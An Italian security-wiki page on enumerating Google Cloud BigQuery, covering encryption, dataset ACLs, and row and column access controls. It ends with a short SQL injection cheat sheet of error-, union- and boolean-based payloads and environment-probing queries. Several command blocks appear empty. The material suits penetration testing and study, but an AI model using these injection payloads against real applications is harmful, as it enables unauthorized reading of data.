GCP - Bigquery Enum
Informazioni di Base
Google Cloud BigQuery è un data warehouse aziendale completamente gestito e serverless, che offre capacità di analisi su petabyte di dati, gestendo quindi set di dati su larga scala in modo efficiente. Come Piattaforma come Servizio (PaaS), fornisce agli utenti infrastrutture e strumenti per facilitare la gestione dei dati senza la necessità di supervisione manuale.
Supporta le query utilizzando ANSI SQL. Gli oggetti principali sono dataset contenenti tabelle che contengono dati SQL.
Crittografia
Per impostazione predefinita viene utilizzata una chiave di crittografia gestita da Google, anche se è possibile configurare una chiave di crittografia gestita dal cliente (CMEK). È possibile indicare la chiave di crittografia per dataset e per tabella all'interno di un dataset.
Scadenza
È possibile indicare un tempo di scadenza nel dataset in modo che ogni nuova tabella creata in questo dataset venga automaticamente eliminata il numero specificato di giorni dopo la creazione.
Fonti Esterne
Bigquery è profondamente integrato con altri servizi Google. È possibile caricare dati da bucket, pub/sub, Google Drive, database RDS...
ACL dei Dataset
Quando viene creato un dataset, vengono allegati ACL per concedere l'accesso ad esso. Per impostazione predefinita vengono dati privilegi di Proprietario all'utente che ha creato il dataset e successivamente Proprietario al gruppo projectOwners (Proprietari del progetto), Scrittore al gruppo projectWriters e Lettore al gruppo projectReaders:
Controllo dell'accesso alle righe della tabella
È possibile controllare le righe a cui un principale potrà accedere all'interno di una tabella con le politiche di accesso alle righe. Queste sono definite all'interno della tabella utilizzando DDL. La politica di accesso definisce un filtro e solo le righe corrispondenti a quel filtro saranno accessibili dai principali indicati.
Controllo degli Accessi alle Colonne
Per limitare l'accesso ai dati a livello di colonna:
Definire una tassonomia e tag di policy. Crea e gestisci una tassonomia e tag di policy per i tuoi dati. https://console.cloud.google.com/bigquery/policy-tags
Opzionale: Concedere il ruolo Lettore dettagliato del Catalogo dati a uno o più principali su uno o più dei tag di policy che hai creato.
Assegna tag di policy alle colonne di BigQuery. In BigQuery, utilizza le annotazioni dello schema per assegnare un tag di policy a ciascuna colonna in cui desideri limitare l'accesso.
Applica il controllo degli accessi sulla tassonomia. Applicare il controllo degli accessi fa sì che le restrizioni di accesso definite per tutti i tag di policy nella tassonomia vengano applicate.
Gestisci l'accesso sui tag di policy. Utilizza Identity and Access Management (IAM) per limitare l'accesso a ciascun tag di policy. La policy è in vigore per ciascuna colonna che appartiene al tag di policy.
Quando un utente cerca di accedere ai dati della colonna durante l'interrogazione, BigQuery controlla il tag di policy della colonna e la sua policy per verificare se l'utente è autorizzato ad accedere ai dati.
In sintesi, per limitare l'accesso a alcune colonne per alcuni utenti, puoi aggiungere un tag alla colonna nello schema e limitare l'accesso degli utenti al tag applicando il controllo degli accessi sulla tassonomia del tag.
Per applicare il controllo degli accessi sulla tassonomia è necessario abilitare il servizio:
È possibile vedere i tag delle colonne con:
Enumerazione
Iniezione SQL in BigQuery
Per ulteriori informazioni puoi consultare il post del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Qui verranno forniti solo alcuni dettagli.
Commenti:
select 1#da qui in poi non funziona
select 1/*tra questi non funziona*/
Ma solo il primo iniziale non funzioneràselect 1--da qui in poi non funziona
Ottieni informazioni sull'ambiente come:
Utente corrente:
select session_user()
ID del progetto:
select @@project_id
Concatena righe:
Tutti i nomi delle tabelle:
string_agg(table_name, ', ')
Ottieni nomi dei dataset, delle tabelle e dei colonne:
Nome del progetto e del dataset:
Nomi delle colonne e delle tabelle di tutte le tabelle del dataset:
Altri set di dati nello stesso progetto:
Tipi di SQL Injection:
Basato su errore - casting:
select CAST(@@project_id AS INT64)
Basato su errore - divisione per zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Basato su union (è necessario utilizzare ALL in bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Basato su booleano:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potenzialmente basato sul tempo - Esempio di utilizzo di set di dati pubblici:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentazione:
Elenco di tutte le funzioni: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Dichiarazioni di scripting: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Escalation dei privilegi e post-exploitation
GCP - BigQuery PrivescPersistenza
GCP - BigQuery PersistenceRiferimenti
Last updated